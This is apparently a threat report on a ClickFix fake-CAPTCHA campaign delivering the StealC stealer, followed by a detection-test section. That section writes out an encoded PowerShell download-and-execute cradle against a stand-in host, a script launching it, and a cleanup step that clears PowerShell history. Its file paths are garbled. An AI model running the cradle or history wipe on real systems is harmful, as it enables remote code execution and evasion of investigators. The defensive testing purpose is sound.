How ClickFix Opens the Door to Stealthy StealC Information Stealer

Summary

A multi-stage, fileless intrusion starts on a compromised Vietnamese restaurant site hosting a fake CAPTCHA. Victims are coaxed into running PowerShell that pulls position-independent shellcode, which reflectively loads a 64-bit downloader and injects the StealC information stealer into svchost.exe. StealC collects browser credentials, cryptocurrency wallet data, Steam and Outlook credentials, host details, and screenshots, then exfiltrates via RC4-encrypted HTTP traffic.

Investigation

Researchers dissected the JavaScript and PowerShell loader, confirmed use of the Donut shellcode framework, and followed the downloader’s HTTP fetches to attacker-controlled URLs. The stealer appears to be a builder-driven malware-as-a-service with modular theft features plus a self-deletion routine. Hunting notes include a User-Agent value of “Loader” and specific registry keys tied to staging and execution.

Mitigation

Recommended defenses include limiting or disabling clipboard paste in browsers, tightening PowerShell execution policies, and alerting on unusual User-Agent strings. Add detection for reflective PE loading and process injection, and enforce outbound HTTP inspection for Base64-encoded payload delivery. User education on fake CAPTCHA lures should be treated as a control, not an afterthought.

Response

If discovered, isolate the endpoint, stop the injected svchost.exe instance, capture memory dumps for shellcode review, and block the malicious domains/URLs. Reset exposed credentials, review registry and browser artifacts for impact, and watch for residual C2 traffic.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  An attacker receives a phishing email containing a short URL. The goal is to install a remote PowerShell backdoor without alerting the user. The attacker crafts a Base64‑encoded PowerShell payload that downloads a malicious script from a C2 server and immediately executes it using iex(irm…). By using the -EncodedCommand switch, the attacker hides the actual commands from casual inspection, and the iex(irm…) pattern directly matches the detection rule.

  1. Create the malicious script (payload.ps1) hosted on http://malicious.example.com/payload.ps1.

  2. Encode the launcher command:

     $launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"
     $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher)
     $encoded = [Convert]::ToBase64String($bytes)
     Write-Output $encoded   # This value is used in the next step

  3. Execute the encoded command on the target:

     powershell.exe -EncodedCommand <Base64StringFromStep2>

  This generates a Sysmon ProcessCreate event where CommandLine contains -EncodedCommand and the decoded text includes iex(irm…), satisfying the Sigma rule.

• Regression Test Script:

  #-----------------------------------------------------------
  # Simulation Script – Triggers PowerShell EncodedCommand + iex(irm)
  #-----------------------------------------------------------
  
  # 1. Define malicious script URL (replace with your test server)
  $maliciousUrl = "http://malicious.example.com/payload.ps1"
  
  # 2. Build the one‑liner that downloads and executes the script
  $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))"
  
  # 3. Encode the command in Base64 (Unicode)
  $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
  $b64   = [Convert]::ToBase64String($bytes)
  
  # 4. Launch PowerShell with the encoded command
  Write-Host "Executing encoded command..."
  Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" `
                -ArgumentList "-EncodedCommand $b64" `
                -NoNewWindow -Wait
  
  Write-Host "Simulation completed."

• Cleanup Commands:

  # Remove any temporary files created by the simulated payload (if any)
  # Example: delete the downloaded script if it was saved locally
  $tempPath = "$env:TEMPpayload.ps1"
  if (Test-Path $tempPath) {
      Remove-Item $tempPath -Force
      Write-Host "Removed temporary payload."
  }
  
  # Optionally, clear the PowerShell history to reduce forensic trace
  Clear-History